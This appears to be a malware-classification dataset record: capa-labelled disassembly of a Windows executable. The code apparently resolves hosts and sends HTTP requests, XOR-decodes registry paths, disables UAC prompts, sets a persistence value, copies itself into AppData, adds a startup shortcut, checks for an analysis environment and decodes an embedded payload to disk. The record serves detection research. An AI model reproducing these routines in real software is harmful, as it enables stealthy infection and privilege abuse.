joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401410
Capabilities:
Connect socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x24]
xor edi, edi
push ecx
push edx
push esi
mov dword [ebp - 4], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], 2
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x18], 6
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x401467
call fcn.00401060
push eax
push esi
push str.Unable_to_resolve_host_name:_s._s_n
jmp 0x401498
mov esi, dword [ebp - 4]
mov ebx, dword [sym.imp.WS2_32.dll_connect]
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x18]
mov edx, dword [ebp + 8]
push eax
push ecx
push edx
call ebx
test eax, eax
je 0x4014b7
mov esi, dword [esi + 0x1c]
cmp esi, edi
jne 0x401470
call fcn.00401060
push eax
mov eax, dword [ebp + 0xc]
push eax
push str.Unable_to_retrieve_the_host_name:_s._s_n
call fcn.00409470
mov eax, dword [ebp - 4]
add esp, 0xc
cmp eax, edi
je 0x4014ae
push eax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4014d0
Capabilities:
Reference http user-agent string
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2008
call fcn.00512840
mov eax, dword [0x581e00]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [str.GET]
mov eax, dword [ebp + 0xc]
mov dl, byte [0x5608f4]
push esi
mov dword [ebp - 0x2008], ecx
push edi
mov byte [ebp - 0x2004], dl
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401506
lea edi, [ebp - 0x2008]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401518
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x2008]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401535
mov ecx, dword [str._HTTP_1.1_r_nHost:]
mov edx, dword [0x5608fc]
mov dword [eax], ecx
mov ecx, dword [0x560900]
mov dword [eax + 4], edx
mov edx, dword [0x560904]
mov dword [eax + 8], ecx
mov cx, word [0x560908]
mov dword [eax + 0xc], edx
mov word [eax + 0x10], cx
mov eax, ebx
mov ecx, ebx
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401570
lea edi, [ebp - 0x2008]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401582
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x2008]
dec edi
nop
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4015a0
mov ecx, 0x24
mov esi, str._r_nConnection:_Keep_Alive_r_nAccept:___r_nAccept_Language:_zh_CN_r_nUser_Agent:_Mozilla_5.0__Windows_NT_6.1__WOW64__Trident_7.0__rv:11.0__like_Gecko_r_n
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x2008]
movsw word es:[edi], word [esi]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4015c0
mov dx, word [0x560898]
mov cl, byte [0x56089a]
mov word [eax], dx
mov byte [eax + 2], cl
lea eax, [ebp - 0x2008]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4015e4
sub eax, edx
push 0
push eax
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x2008]
push edx
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x40162b
call fcn.00401060
push eax
push str.Failed_to_send_HTTP_header._s_n
call fcn.00409470
add esp, 8
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0050cbf9
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov eax, 1
pop esi
call fcn.0050cbf9
mov esp, ebp
pop ebp
ret
Function at 0x401c50
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401c6b
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401ca2
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x401c9e
jmp 0x401c90
cmp esi, eax
jae 0x401ca2
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401c90
cmp esi, eax
jb 0x401ca9
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x402290
Capabilities:
Allocate or change rwx memory
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push 0x40
push 0x3000
push edi
xor ebx, ebx
push ebx
xor esi, esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp + 0xc]
push edi
push ebx
push eax
mov dword [ebp - 4], eax
mov dword [ecx], eax
call fcn.00510790
add esp, 0xc
test edi, edi
jle 0x4022e4
mov edx, dword [ebp + 8]
mov ecx, dword [esi + edx]
mov edx, dword [ebp - 4]
sub edx, esi
xor ebx, ecx
lea edx, [edx + edi - 4]
mov dword [edx], ebx
xor ebx, dword [0x583344]
add esi, 4
mov dword [edx], ebx
mov ebx, ecx
cmp esi, edi
jl 0x4022c0
pop esi
mov eax, edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402330
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x581e00]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor edi, edi
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x130]
push eax
push esi
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
lea ebx, [ebx]
lea ecx, [ebp - 0x10c]
push ebx
push ecx
call fcn.00519920
add esp, 8
test eax, eax
je 0x402398
lea edx, [ebp - 0x130]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x402370
jmp 0x40239e
mov edi, dword [ebp - 0x128]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.0050cbf9
mov esp, ebp
pop ebp
ret
Function at 0x402440
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x581e00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x108]
sub edx, eax
mov edi, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x402460
lea eax, [ebp - 0x108]
push 0x5c
push eax
call fcn.0050dc06
add esp, 8
cmp byte [eax + 1], 0
jne 0x4024a3
push edi
lea edi, [ebp - 0x108]
dec edi
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402490
mov cx, word [0x560af0]
mov word [edi], cx
pop edi
lea eax, [ebp - 0x108]
dec eax
lea ebx, [ebx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4024b0
mov edx, dword [str.dbgVm]
mov cx, word [0x560b34]
mov dword [eax], edx
lea edx, [ebp - 0x108]
push edx
mov word [eax + 4], cx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0050cbf9
mov esp, ebp
pop ebp
ret
Function at 0x403320
Capabilities:
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x581e00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov dword [ebp - 0x3f], 0x90938188
mov dword [ebp - 0x3b], 0x9b829586
mov dword [ebp - 0x37], 0xb5a4ae8a
mov dword [ebp - 0x33], 0xa1a8b4a8
mov dword [ebp - 0x2f], 0xae909bb3
mov dword [ebp - 0x2b], 0xb0a8a3a9
mov dword [ebp - 0x27], 0xb2849bb4
mov dword [ebp - 0x23], 0xa9a2b5b5
mov dword [ebp - 0x1f], 0xb5a291b3
mov dword [ebp - 0x1b], 0xa9a8aeb4
mov dword [ebp - 0x17], 0xaba8979b
mov dword [ebp - 0x13], 0xa2aea4ae
mov dword [ebp - 0xf], 0xbe949bb4
mov dword [ebp - 0xb], 0xaaa2b3b4
mov byte [ebp - 7], 0xc7
lea eax, [ebp - 0x40]
mov byte [ebp - 0x40], 0x53
pop ebx
nop
inc eax
xor byte [eax], 0xc7
jne 0x4033a0
push esi
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x40]
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x44], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov eax, dword [ebp - 0x44]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x48]
push edx
push 4
push 0
push str.ConsentPromptBehaviorAdmin
push eax
mov dword [ebp - 0x48], 0
call esi
test eax, eax
je 0x4033f8
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0050cbf9
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x44]
push 4
lea ecx, [ebp - 0x48]
push ecx
push 4
push 0
push str.EnableLUA
push edx
call esi
test eax, eax
jne 0x4033e7
mov ecx, dword [ebp - 0x44]
push 4
lea eax, [ebp - 0x48]
push eax
push 4
push 0
push str.PromptOnSecureDesktop
push ecx
call esi
test eax, eax
jne 0x4033e7
mov edx, dword [ebp - 0x44]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop esi
call fcn.0050cbf9
mov esp, ebp
pop ebp
ret

Function at 0x403450
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0
push 0x80
push 4
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x4034d6
movzx ecx, word [ebp + 8]
push ebx
push esi
push edi
push 0x560bac
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test esi, esi
je 0x4034c9
test edi, edi
je 0x4034c9
test ebx, ebx
je 0x4034c9
push 0
lea edx, [ebp - 8]
push edx
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
mov eax, dword [ebp - 4]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4034e0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push 0
push 6
push 4
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40350b
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
movzx ecx, word [ebp + 8]
push esi
push edi
push 0x560bac
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 8], eax
test esi, esi
je 0x403597
test edi, edi
je 0x403597
test eax, eax
je 0x403597
lea edx, [ebp - 4]
push edx
push esi
push 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 8]
push ecx
mov edi, eax
call fcn.00402290
mov esi, dword [ebp - 4]
add esp, 8
push 0
lea edx, [ebp - 0xc]
push edx
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403690
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x318
mov eax, dword [0x581e00]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
mov esi, ecx
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x314]
push eax
push 0x55f8a0
push 1
push 0
push 0x55f8f0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x4036e4
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0050cbf9
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x314]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x50]
push esi
push eax
call edx
lea edx, [ebp - 0x108]
mov eax, esi
sub edx, esi
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x403700
lea eax, [ebp - 0x108]
push 0x5c
push eax
call fcn.0050dc06
add esp, 8
test eax, eax
je 0x403737
mov byte [eax], 0
mov eax, dword [ebp - 0x314]
mov ecx, dword [eax]
lea edx, [ebp - 0x108]
push edx
push eax
mov eax, dword [ecx + 0x24]
call eax
mov eax, dword [ebp - 0x314]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x2c]
push 0x560c94
push eax
call edx
mov eax, dword [ebp - 0x314]
mov ecx, dword [eax]
lea edx, [ebp - 0x318]
push edx
push 0x55f950
push eax
mov eax, dword [ecx]
call eax
test eax, eax
js 0x4036cd
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
push 0xffffffffffffffff
push edi
push 0
push 0
call esi
cmp eax, 0x104
ja 0x403796
push eax
lea ecx, [ebp - 0x310]
push ecx
push 0xffffffffffffffff
push edi
push 0
push 0
call esi
mov eax, dword [ebp - 0x318]
mov edx, dword [eax]
mov edx, dword [edx + 0x18]
push 2
lea ecx, [ebp - 0x310]
push ecx
push eax
call edx
mov eax, dword [ebp - 0x318]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 0x314]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop esi
call fcn.0050cbf9
mov esp, ebp
pop ebp
ret
Function at 0x4037f0
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x15c
mov eax, dword [0x581e00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x15c], eax
push 0x50
push ecx
mov eax, esi
call fcn.004035b0
add esp, 8
test eax, eax
jne 0x40386f
cmp dword [ebp + 0xc], eax
je 0x403835
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0050cbf9
mov esp, ebp
pop ebp
ret
push 0x5c
push esi
call fcn.0050dc06
add esp, 8
test eax, eax
je 0x403825
inc eax
lea edx, [ebp - 0x54]
sub edx, eax
lea ebx, [ebx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x403850
lea edx, [ebp - 0x54]
push 0x2e
push edx
call fcn.0050dc06
add esp, 8
test eax, eax
je 0x40386f
mov byte [eax], 0
push ebx
push edi
push 1
push 0x1a
lea eax, [ebp - 0x158]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
test eax, eax
jne 0x4038eb
push esi
lea ecx, [ebp - 0x158]
push ecx
call ebx
lea edx, [ebp - 0x158]
push edx
call fcn.0050dcf4
add esp, 4
push 0x5c
lea eax, [ebp + eax - 0x158]
push eax
lea ecx, [ebp - 0x158]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrRChrA]
test eax, eax
je 0x403959
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x54]
mov byte [eax + 1], 0
push edx
lea eax, [ebp - 0x158]
push eax
call edi
push str..exe
lea ecx, [ebp - 0x158]
push ecx
jmp 0x403918
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x560af0
lea edx, [ebp - 0x158]
push edx
call edi
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x158]
push ecx
call edi
push str..exe
lea edx, [ebp - 0x158]
push edx
call edi
push 0
lea eax, [ebp - 0x158]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x403953
mov edx, dword [ebp - 0x15c]
lea ecx, [ebp - 0x158]
push ecx
push edx
call ebx
pop edi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0050cbf9
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0050cbf9
mov esp, ebp
pop ebp
ret

Function at 0x403970
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x581e00]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.00510790
add esp, 0xc
push 0
push 0x17
lea ecx, [ebp - 0x108]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [ebp + eax - 0x109], 0x5c
jne 0x4039df
push 0x560d18
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x403a01
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x560af0
lea ecx, [ebp - 0x108]
push ecx
call edi
push 0x560d18
lea edx, [ebp - 0x108]
push edx
call edi
lea edi, [ebp - 0x108]
mov ecx, esi
call fcn.00403690
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.0050cbf9
mov esp, ebp
pop ebp
ret
Function at 0x404c20
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x534068
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x581e00]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
call fcn.00416c29
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x404c66
push 0x80004005
call fcn.00401c30
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x78]
push 0x560f34
push edx
mov dword [ebp - 4], 0
call fcn.00405730
add esp, 0xc
lea eax, [ebp - 0x78]
push eax
lea ecx, [ebp - 0x80]
call fcn.00405630
mov edi, dword [ebp - 0x80]
lea ecx, [ebp - 0x7c]
push ecx
lea edx, [ebp - 0x74]
push edx
push 0
push 0
push edi
push esi
mov dword [ebp - 0x7c], 0x64
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
neg eax
sbb esi, esi
lea eax, [edi - 0x10]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404cdb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x78]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404d01
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [esi + 1]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0050cbf9
mov esp, ebp
pop ebp
ret 4
Function at 0x405260
Capabilities:
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
mov eax, dword [0x581e00]
xor eax, ebp
mov dword [ebp - 4], eax
test byte [0x58ae44], 8
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x38], 0x93818894
mov dword [ebp - 0x34], 0x82958690
mov dword [ebp - 0x30], 0xa4ae8a9b
mov dword [ebp - 0x2c], 0xa8b4a8b5
mov dword [ebp - 0x28], 0x909bb3a1
mov dword [ebp - 0x24], 0xa8a3a9ae
mov dword [ebp - 0x20], 0x849bb4b0
mov dword [ebp - 0x1c], 0xa2b5b5b2
mov dword [ebp - 0x18], 0xa291b3a9
mov dword [ebp - 0x14], 0xa8aeb4b5
mov dword [ebp - 0x10], 0xb2959ba9
mov dword [ebp - 0xc], 0xa4a988a9
mov word [ebp - 8], 0xc7a2
jne 0x40538b
lea eax, [ebp - 0x38]
mov byte [ebp - 0x38], 0x53
inc eax
xor byte [eax], 0xc7
jne 0x4052e5
lea eax, [ebp - 0x174]
push eax
push 0xf003f
push 0
lea ecx, [ebp - 0x38]
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405379
call fcn.0050dc1d
push eax
lea edx, [ebp - 0x44]
push 0x560f34
push edx
call fcn.0050cc59
push esi
lea eax, [ebp - 0x170]
push 0x560e18
push eax
call fcn.0050cc59
lea eax, [ebp - 0x170]
add esp, 0x18
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405340
sub eax, edx
push eax
mov eax, dword [ebp - 0x174]
lea ecx, [ebp - 0x170]
push ecx
push 1
push 0
lea edx, [ebp - 0x44]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x174]
push ecx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x40538b
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0050cbf9
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0050cbf9
mov esp, ebp
pop ebp
ret
Function at 0x405910
Capabilities:
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
mov eax, dword [0x581e00]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov esi, ecx
call fcn.0040ee7d
mov eax, dword [esi + 0x94]
mov ecx, dword [esi + 0x20]
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
push eax
push 1
push 0x80
push ecx
call edi
mov edx, dword [esi + 0x94]
mov eax, dword [esi + 0x20]
push edx
push 0
push 0x80
push eax
call edi
lea ecx, [ebp - 0x18c]
push ecx
mov ecx, esi
mov dword [ebp - 0x18c], 0x2c
mov dword [ebp - 0x188], 2
mov dword [ebp - 0x184], 0
call fcn.0040fcbf
push 0
push 0x80
push 0x40000
mov ecx, esi
call fcn.004160a7
push 1
push 0x58b060
mov esi, 0x58af5c
call fcn.004037f0
add esp, 8
test eax, eax
je 0x405aca
test byte [0x58ae44], 1
je 0x405afa
test byte [0x58ae44], 8
push ebx
mov dword [ebp - 0x34], 0x93818894
mov dword [ebp - 0x30], 0x82958690
mov dword [ebp - 0x2c], 0xa4ae8a9b
mov dword [ebp - 0x28], 0xa8b4a8b5
mov dword [ebp - 0x24], 0x909bb3a1
mov dword [ebp - 0x20], 0xa8a3a9ae
mov dword [ebp - 0x1c], 0x849bb4b0
mov dword [ebp - 0x18], 0xa2b5b5b2
mov dword [ebp - 0x14], 0xa291b3a9
mov dword [ebp - 0x10], 0xa8aeb4b5
mov dword [ebp - 0xc], 0xb2959ba9
mov word [ebp - 8], 0xc7a9
pop ebx
jne 0x405adc
lea eax, [ebp - 0x34]
mov byte [ebp - 0x34], 0x53
jmp 0x405a30
inc eax
xor byte [eax], 0xc7
jne 0x405a30
lea edx, [ebp - 0x190]
push edx
push 0xf003f
push 0
lea eax, [ebp - 0x34]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405aca
push 0x58b060
cmp dword [0x58a93c], eax
jne 0x405a72
push str.__s___R
lea ecx, [ebp - 0x160]
push ecx
jmp 0x405a7e
push str.__s___A
lea edx, [ebp - 0x160]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x160]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405a90
mov ecx, dword [ebp - 0x190]
sub eax, edx
push eax
lea eax, [ebp - 0x160]
push eax
push 1
push 0
push str.RVCTP
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x190]
push edx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x405adc
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0050cbf9
mov esp, ebp
pop ebp
ret
call fcn.00403320
push 0
mov edx, str.actinstallinfo
mov ecx, 0x560fc0
call fcn.00406510
push 1
call dword [sym.imp.USER32.dll_PostQuitMessage]
cmp dword [0x58a93c], 0
jne 0x405b19
call fcn.00406c40
push 0
mov edx, str.actinstallinfo
mov ecx, str.pretgdled
call fcn.00406510
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov eax, 1
pop esi
call fcn.0050cbf9
mov esp, ebp
pop ebp
ret